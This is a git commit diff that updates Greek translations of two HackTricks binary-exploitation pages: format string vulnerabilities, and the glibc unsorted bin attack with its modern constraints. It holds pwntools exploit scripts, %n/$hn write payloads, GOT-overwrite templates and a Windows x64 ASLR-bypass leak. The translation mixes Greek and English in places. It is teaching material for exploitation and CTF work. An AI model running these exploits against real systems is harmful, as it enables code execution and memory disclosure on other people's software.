mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/binary-exploitation/stack-overflow/README.md', 'src
This commit is contained in:
parent
d14f5892ed
commit
cca8bf0648
@ -5,13 +5,13 @@
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Στη C η **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** μια συμβολοσειρά. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** στο ακατέργαστο κείμενο.
|
||||
Στη C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** μια συμβολοσειρά. Ο **πρώτος παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **raw text με τους formatters**. Οι **επόμενοι παράμετροι** που αναμένονται είναι οι **τιμές** που θα **αντικαταστήσουν** τους **formatters** στο raw text.
|
||||
|
||||
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
|
||||
|
||||
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως το πρώτο όρισμα** αυτής της συνάρτησης. Ο επιτιθέμενος θα μπορεί να κατασκευάσει μια **ειδική είσοδο που καταχράται** τις δυνατότητες του **printf format** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (readable/writable)**. Με αυτόν τον τρόπο μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
|
||||
Η ευπάθεια προκύπτει όταν ένα **attacker text χρησιμοποιείται ως το πρώτο όρισμα** σε αυτή τη συνάρτηση. Ο attacker θα μπορεί να κατασκευάσει ένα **ειδικό input που καταχράται** τις δυνατότητες της **printf format** string για να **διαβάσει** και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/εγγράψιμη)**. Με αυτόν τον τρόπο μπορεί να **εκτελέσει αυθαίρετο κώδικα**.
|
||||
|
||||
#### Μορφοποιητές:
|
||||
#### Formatters:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -30,16 +30,16 @@ char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
- Κανονική Χρήση:
|
||||
- Κανονική χρήση:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
- Με Ελλείποντα Ορίσματα:
|
||||
- Με Ελλιπή Ορίσματα:
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf ευάλωτο:
|
||||
- fprintf vulnerable:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -52,28 +52,28 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Πρόσβαση σε δείκτες**
|
||||
### **Πρόσβαση σε Δείκτες**
|
||||
|
||||
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n-οστή παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας printf, θα μπορούσατε να κάνετε:
|
||||
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από το stack). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από το stack χρησιμοποιώντας printf μπορείτε να κάνετε:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
και θα διαβάζατε από το πρώτο έως το τέταρτο param.
|
||||
και θα διαβάζατε από την πρώτη μέχρι την τέταρτη παράμετρο.
|
||||
|
||||
Ή μπορείτε να κάνετε:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
και να διαβάσει απευθείας το τέταρτο.
|
||||
και να διαβάσει άμεσα το τέταρτο.
|
||||
|
||||
Παρατηρήστε ότι ο attacker ελέγχει την `printf` παράμετρο, που ουσιαστικά σημαίνει ότι η είσοδός του θα βρίσκεται στο stack όταν κληθεί το `printf`, και επομένως μπορεί να γράψει συγκεκριμένες διευθύνσεις μνήμης στο stack.
|
||||
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ένας attacker που ελέγχει αυτήν την είσοδο θα μπορέσει να **προσθέσει αυθαίρετες διευθύνσεις στο stack και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά.
|
||||
> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour.
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
Είναι δυνατό να χρησιμοποιηθεί ο formatter **`%n$s`** για να κάνει το **`printf`** να πάρει τη **διεύθυνση** που βρίσκεται στη **n θέση**, να την ακολουθήσει και να **την εκτυπώσει σαν να ήταν string** (εκτυπώνει μέχρι να βρεθεί 0x00). Έτσι, αν η base address του binary είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος χρήστη ξεκινά στην 4η θέση στο stack, είναι δυνατό να εκτυπώσουμε την αρχή του binary με:
|
||||
Είναι δυνατό να χρησιμοποιηθεί ο formatter **`%n$s`** ώστε το **`printf`** να πάρει την **address** που βρίσκεται στη **θέση n**, να την ακολουθήσει και να την **εκτυπώσει σαν να ήταν string** (εκτυπώνει μέχρι να βρεθεί 0x00). Έτσι, αν η base address του binary είναι **`0x8048000`**, και ξέρουμε ότι η είσοδος χρήστη ξεκινά στην 4η θέση στο stack, είναι δυνατό να εκτυπώσουμε την αρχή του binary με:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι δεν μπορείτε να τοποθετήσετε τη διεύθυνση 0x8048000 στην αρχή του input επειδή το string θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
|
||||
> Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή του input επειδή το string θα κοπεί σε 0x00 στο τέλος αυτής της διεύθυνσης.
|
||||
|
||||
### Εύρεση offset
|
||||
### Βρείτε το offset
|
||||
|
||||
Για να βρείτε το offset προς το input σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και να **αυξήσετε** την τιμή μέχρι να εντοπίσετε τα `A's`.
|
||||
Για να βρείτε το offset προς το input σας μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και να **αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -128,43 +128,43 @@ p.close()
|
||||
|
||||
### Πόσο χρήσιμο
|
||||
|
||||
Arbitrary reads μπορούν να είναι χρήσιμες για:
|
||||
Arbitrary reads can be useful to:
|
||||
|
||||
- **Dump** the **binary** από τη μνήμη
|
||||
- **Access specific parts of memory where sensitive** **info** is stored (όπως canaries, encryption keys ή custom passwords όπως σε αυτό το [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** the **binary** from memory
|
||||
- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
Ο μορφοποιητής **`%<num>$n`** γράφει τον αριθμό των γραμμένων bytes στη διεύθυνση που υποδεικνύεται από την παράμετρο <num> στην stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει μέσω printf, θα μπορέσει να κάνει το **`%<num>$n`** να γράψει οποιονδήποτε αριθμό σε οποιαδήποτε διεύθυνση.
|
||||
Ο formatter **`%<num>$n`** **γράφει** τον **αριθμό των γραμμένων bytes** στη **διεύθυνση που υποδεικνύεται** από την παράμετρο <num> στο stack. Αν ένας attacker μπορεί να γράψει όσους χαρακτήρες θέλει με printf, θα μπορεί να κάνει το **`%<num>$n`** να γράψει έναν arbitrary αριθμό σε μια arbitrary διεύθυνση.
|
||||
|
||||
Ευτυχώς, για να γράψεις τον αριθμό 9999, δεν χρειάζεται να προσθέσεις 9999 "A"s στην είσοδο — μπορείς να χρησιμοποιήσεις τον formatter **`%.<num-write>%<num>$n`** για να γράψεις τον αριθμό **`<num-write>`** στη **διεύθυνση που δείχνει η θέση `num`**.
|
||||
Ευτυχώς, για να γράψεις τον αριθμό 9999, δεν χρειάζεται να προσθέσεις 9999 "A"s στην είσοδο — αντί γι' αυτό είναι δυνατό να χρησιμοποιήσεις τον formatter **`%.<num-write>%<num>$n`** για να γράψεις τον αριθμό **`<num-write>`** στη **διεύθυνση που δείχνει η θέση `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (που είναι ένας τεράστιος αριθμός για να γραφτεί μονομιάς), **χρησιμοποιείται `$hn`** αντί του `$n`. Αυτό επιτρέπει να **γραφτούν μόνο 2 Bytes**. Επομένως αυτή η ενέργεια εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
|
||||
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί μονομιάς), **χρησιμοποιείται `$hn`** αντί για `$n`. Αυτό επιτρέπει να **γραφτούν μόνο 2 Bytes**. Επομένως αυτή η λειτουργία γίνεται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
|
||||
|
||||
Συνεπώς, αυτή η ευπάθεια επιτρέπει να **γράψετε οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).**
|
||||
Επομένως, αυτή η ευπάθεια επιτρέπει να **γράψετε οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).**
|
||||
|
||||
Στο παράδειγμα αυτό, ο στόχος θα είναι να **επαναγράψουμε** την **διεύθυνση** μιας **function** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές arbitrary write-to-exec:
|
||||
Σε αυτό το παράδειγμα, ο στόχος θα είναι να **επαναγραφεί** η **διεύθυνση** μιας **συνάρτησης** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες arbitrary write to exec τεχνικές:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Θα **επαναγράψουμε** μια **function** που **λαμβάνει** τα **arguments** της από τον **χρήστη** και θα την **δείξουμε** στην **function** **`system`**.\
|
||||
Όπως αναφέρθηκε, για να γράψετε τη διεύθυνση, συνήθως χρειάζονται 2 βήματα: Πρώτα **γράφεις 2Bytes** της διεύθυνσης και μετά τα υπόλοιπα 2. Για αυτό χρησιμοποιείται **`$hn`**.
|
||||
Θα επαναγράψουμε μια **συνάρτηση** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα την **δείξουμε** στη συνάρτηση `system`.\
|
||||
Όπως αναφέρθηκε, για να γραφτεί η διεύθυνση, συνήθως χρειάζονται 2 βήματα: Πρώτα **γράφεις 2Bytes** της διεύθυνσης και μετά τα άλλα 2. Για αυτό χρησιμοποιείται **`$hn`**.
|
||||
|
||||
- **HOB** αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης
|
||||
- **LOB** αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης
|
||||
|
||||
Στη συνέχεια, λόγω του τρόπου που λειτουργεί το format string, πρέπει να **γράψετε πρώτα το μικρότερο** των \[HOB, LOB] και μετά το άλλο.
|
||||
Τότε, λόγω του τρόπου που δουλεύει ένα format string, χρειάζεται να **γράψεις πρώτα το μικρότερο** από \[HOB, LOB] και μετά το άλλο.
|
||||
|
||||
Αν HOB < LOB\
|
||||
If HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
Αν HOB > LOB\
|
||||
If HOB > LOB\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||||
@ -201,24 +201,24 @@ p.interactive()
|
||||
```
|
||||
## Format Strings to BOF
|
||||
|
||||
Είναι δυνατόν να εκμεταλλευτεί κανείς τις ενέργειες εγγραφής μιας format string ευπάθειας για να **γράψει σε διευθύνσεις της στοίβας** και να εκμεταλλευτεί μια ευπάθεια τύπου **buffer overflow**.
|
||||
Είναι δυνατό να καταχραστεί κανείς τις write actions μιας format string vulnerability για να **write in addresses of the stack** και να εκμεταλλευτεί έναν τύπο ευπάθειας **buffer overflow**.
|
||||
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Στα Windows x64, οι πρώτες τέσσερις integer/pointer παράμετροι περνιούνται σε registers: RCX, RDX, R8, R9. Σε πολλές buggy call-sites, το attacker-controlled string χρησιμοποιείται ως το format argument, αλλά δεν παρέχονται variadic arguments, για παράδειγμα:
|
||||
Σε Windows x64 οι πρώτες τέσσερις integer/pointer παράμετροι μεταβιβάζονται σε registers: RCX, RDX, R8, R9. Σε πολλά buggy call-sites το attacker-controlled string χρησιμοποιείται ως format argument αλλά δεν παρέχονται variadic arguments, για παράδειγμα:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Επειδή δεν περνιούνται varargs, οποιαδήποτε conversion όπως "%p", "%x", "%s" θα αναγκάσει την CRT να διαβάσει το επόμενο variadic argument από τον κατάλληλο register. Με την Microsoft x64 calling convention η πρώτη τέτοια ανάγνωση για "%p" προέρχεται από R9. Οποιαδήποτε παροδική τιμή βρίσκεται στο R9 στο call-site θα εκτυπωθεί. Στην πράξη αυτό συχνά leak ένα σταθερό in-module pointer (π.χ., ένας pointer σε ένα local/global object που προηγουμένως τοποθετήθηκε στο R9 από περιβάλλοντα κώδικα ή μια callee-saved value), το οποίο μπορεί να χρησιμοποιηθεί για να ανακτηθεί το module base και να παρακαμφθεί το ASLR.
|
||||
Επειδή δεν περνάνε varargs, οποιαδήποτε μετατροπή όπως "%p", "%x", "%s" θα προκαλέσει το CRT να διαβάσει το επόμενο variadic όρισμα από τον κατάλληλο register. Με το Microsoft x64 calling convention η πρώτη τέτοια ανάγνωση για "%p" προέρχεται από R9. Οποιαδήποτε παροδική τιμή βρίσκεται στο R9 στο call-site θα τυπωθεί. Στην πράξη αυτό συχνά leaks έναν σταθερό in-module pointer (π.χ., έναν pointer σε ένα local/global object που προηγουμένως τοποθετήθηκε στο R9 από περιβάλλοντα κώδικα ή μια callee-saved τιμή), ο οποίος μπορεί να χρησιμοποιηθεί για να ανακτηθεί το module base και να παρακαμφθεί το ASLR.
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- Εγχύστε ένα harmless format όπως "%p " στην αρχή του attacker-controlled string έτσι ώστε η πρώτη conversion να εκτελεστεί πριν από οποιοδήποτε filtering.
|
||||
- Capture the leaked pointer, προσδιορίστε το static offset αυτού του αντικειμένου μέσα στο module (με reversing μία φορά χρησιμοποιώντας symbols ή ένα local copy), και ανακτήστε το image base ως `leak - known_offset`.
|
||||
- Επαναχρησιμοποιήστε αυτό το base για να υπολογίσετε absolute addresses για ROP gadgets και IAT entries απομακρυσμένα.
|
||||
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
|
||||
- Capture the leaked pointer, προσδιορίστε το static offset αυτού του object μέσα στο module (by reversing once with symbols or a local copy), και ανακτήστε το image base ως `leak - known_offset`.
|
||||
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
|
||||
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
@ -233,26 +233,25 @@ base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Το ακριβές offset που πρέπει να αφαιρεθεί εντοπίζεται μία φορά κατά το local reversing και στη συνέχεια επαναχρησιμοποιείται (same binary/version).
|
||||
- Αν "%p" δεν εκτυπώσει έναν έγκυρο pointer στην πρώτη προσπάθεια, δοκιμάστε άλλους specifiers ("%llx", "%s") ή πολλαπλές μετατροπές ("%p %p %p") για να δείτε άλλους argument registers/stack.
|
||||
- Αυτό το μοτίβο είναι συγκεκριμένο για την Windows x64 calling convention και τις printf-family implementations που ανακτούν μη-υπάρχοντα varargs από registers όταν το format string τα ζητά.
|
||||
- Η ακριβής μετατόπιση που πρέπει να αφαιρεθεί βρέθηκε μία φορά κατά το local reversing και στη συνέχεια επαναχρησιμοποιείται (ίδιο binary/version).
|
||||
- Αν "%p" δεν εκτυπώσει έναν έγκυρο δείκτη στην πρώτη προσπάθεια, δοκίμασε άλλους specifiers ("%llx", "%s") ή πολλαπλές μετατροπές ("%p %p %p") για να δείξεις άλλους καταχωρητές/στοίβα επιχειρημάτων.
|
||||
- Αυτό το μοτίβο είναι ειδικό για την Windows x64 calling convention και για τις printf-family implementations που ανακτούν ανύπαρκτα varargs από καταχωρητές όταν το format string τα ζητά.
|
||||
|
||||
Αυτή η τεχνική είναι εξαιρετικά χρήσιμη για να bootstrap ROP σε Windows services compiled με ASLR και χωρίς προφανή memory disclosure primitives.
|
||||
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (χωρίς ανάγκη αλλαγής της ροής εκτέλεσης)
|
||||
- 32 bit, no relro, no canary, nx, no pie, βασική χρήση των format strings για να leak το flag από τη stack (χωρίς ανάγκη να αλλάξει η ροή εκτέλεσης)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string για overwrite της διεύθυνσης `fflush` με τη win function (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string για να overwrite τη διεύθυνση `fflush` με τη win function (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (ώστε η ροή να επιστρέψει ακόμη 1 φορά) και να γράψετε τη διεύθυνση του `system` στον GOT πίνακα δείχνοντας σε `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` θα εκτελεστεί με user input και δείχνοντας σε `system`, και θα εκτελέσει τις δοθείσες εντολές.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (ώστε η ροή να κάνει loop άλλη μια φορά) και να γράψει τη διεύθυνση προς `system` στον GOT πίνακα που δείχνει σε `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` θα εκτελεστεί με είσοδο χρήστη και δείχνοντας σε `system`, θα εκτελέσει τις δοθείσες εντολές.
|
||||
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
@ -2,20 +2,20 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
For more information about what is an unsorted bin check this page:
|
||||
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα unsorted bin δες αυτή τη σελίδα:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
|
||||
Τα unsorted lists μπορούν να γράψουν τη διεύθυνση των `unsorted_chunks (av)` στο πεδίο `bk` του chunk. Επομένως, αν ένας attacker μπορεί να **τροποποιήσει τη διεύθυνση του pointer `bk`** σε ένα chunk μέσα στο unsorted bin, θα μπορούσε να **γράψει αυτή τη διεύθυνση σε μια arbitrary διεύθυνση**, κάτι που μπορεί να είναι χρήσιμο για να leak Glibc addresses ή να παρακαμφθούν κάποιες άμυνες.
|
||||
|
||||
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
|
||||
Ουσιαστικά, αυτή η επίθεση επιτρέπει να **τοποθετηθεί ένας μεγάλος αριθμός σε μια arbitrary διεύθυνση**. Αυτός ο μεγάλος αριθμός είναι μια διεύθυνση, που μπορεί να είναι διεύθυνση του heap ή διεύθυνση της Glibc. Παραδοσιακός στόχος ήταν το **`global_max_fast`** για να επιτρέπεται η δημιουργία fast bin bins με μεγαλύτερα μεγέθη (και να περάσει κανείς από unsorted bin attack σε fast bin attack).
|
||||
|
||||
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
|
||||
- Σημείωση για νεότερες εκδόσεις (glibc ≥ 2.39): `global_max_fast` έγινε global 8‑bit. To να γράψεις τυφλά ένα pointer εκεί μέσω unsorted‑bin write θα αλλοιώσει δεδομένα της libc που βρίσκονται δίπλα και δεν θα αυξήσει αξιόπιστα το όριο των fastbin πια. Προτίμησε άλλους στόχους ή άλλες primitives όταν τρέχεις ενάντια σε glibc 2.39+. Δες τα "Modern constraints" παρακάτω και σκέψου συνδυασμό με τεχνικές όπως ένα [large bin attack](large-bin-attack.md) ή ένα [fast bin attack](fast-bin-attack.md) μόλις έχεις ένα σταθερό primitive.
|
||||
|
||||
> [!TIP]
|
||||
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
|
||||
@ -23,51 +23,51 @@ So, basically, this attack allows to **set a big number at an arbitrary address*
|
||||
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
|
||||
> Σημείωσε ότι αυτή η επίθεση αλλοιώνει το unsorted bin (κατά συνέπεια και small/large). Έτσι πλέον μπορούμε να **χρησιμοποιήσουμε μόνο allocations από το fast bin** (ένα πιο πολύπλοκο πρόγραμμα μπορεί να κάνει άλλες allocations και να crashάρει), και για να το triggerάρουμε πρέπει **να κάνουμε allocation του ίδιου μεγέθους αλλιώς το πρόγραμμα θα καταρρεύσει.**
|
||||
>
|
||||
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
|
||||
> Σημείωσε ότι το overwrite του **`global_max_fast`** μπορεί να βοηθήσει σε αυτή την περίπτωση με την προσδοκία ότι το fast bin θα διαχειριστεί όλες τις υπόλοιπες allocations μέχρι να ολοκληρωθεί το exploit.
|
||||
|
||||
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
|
||||
Ο κώδικας από τον [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) το εξηγεί πολύ καλά, αν και αν τροποποιήσεις τα mallocs ώστε να δεσμεύουν μνήμη αρκετά μεγάλη ώστε να μην καταλήξουν σε Tcache μπορείς να δεις ότι εμφανίζεται το προαναφερθέν σφάλμα που αποτρέπει την τεχνική: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
### How the write actually happens
|
||||
### Πώς γίνεται πραγματικά το write
|
||||
|
||||
- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
|
||||
- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
|
||||
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
|
||||
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
|
||||
- Το unsorted‑bin write ενεργοποιείται στο `free` όταν το freed chunk εισάγεται στην κεφαλή του unsorted list.
|
||||
- Κατά την εισαγωγή, ο allocator εκτελεί `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
|
||||
- Αν μπορείς να ορίσεις `victim->bk` σε `(mchunkptr)(TARGET - 0x10)` πριν καλέσεις `free(victim)`, η τελική εντολή θα κάνει το write: `*(TARGET) = victim`.
|
||||
- Αργότερα, όταν ο allocator επεξεργαστεί το unsorted bin, οι έλεγχοι ακεραιότητας θα επαληθεύσουν (μεταξύ άλλων) ότι `bck->fd == victim` και `victim->fd == unsorted_chunks(av)` πριν το unlink. Επειδή η εισαγωγή ήδη έγραψε το `victim` στο `bck->fd` (τον δικό μας `TARGET`), αυτοί οι έλεγχοι μπορούν να ικανοποιηθούν αν το write πέτυχε.
|
||||
|
||||
## Modern constraints (glibc ≥ 2.33)
|
||||
## Σύγχρονοι περιορισμοί (glibc ≥ 2.33)
|
||||
|
||||
To use unsorted‑bin writes reliably on current glibc:
|
||||
Για να χρησιμοποιήσεις unsorted‑bin writes αξιόπιστα σε τρέχουσες glibc:
|
||||
|
||||
- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either
|
||||
- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or
|
||||
- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
|
||||
- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
|
||||
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
|
||||
- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
|
||||
- Typical stable targets in modern exploits
|
||||
- Application or global state that treats "large" values as flags/limits.
|
||||
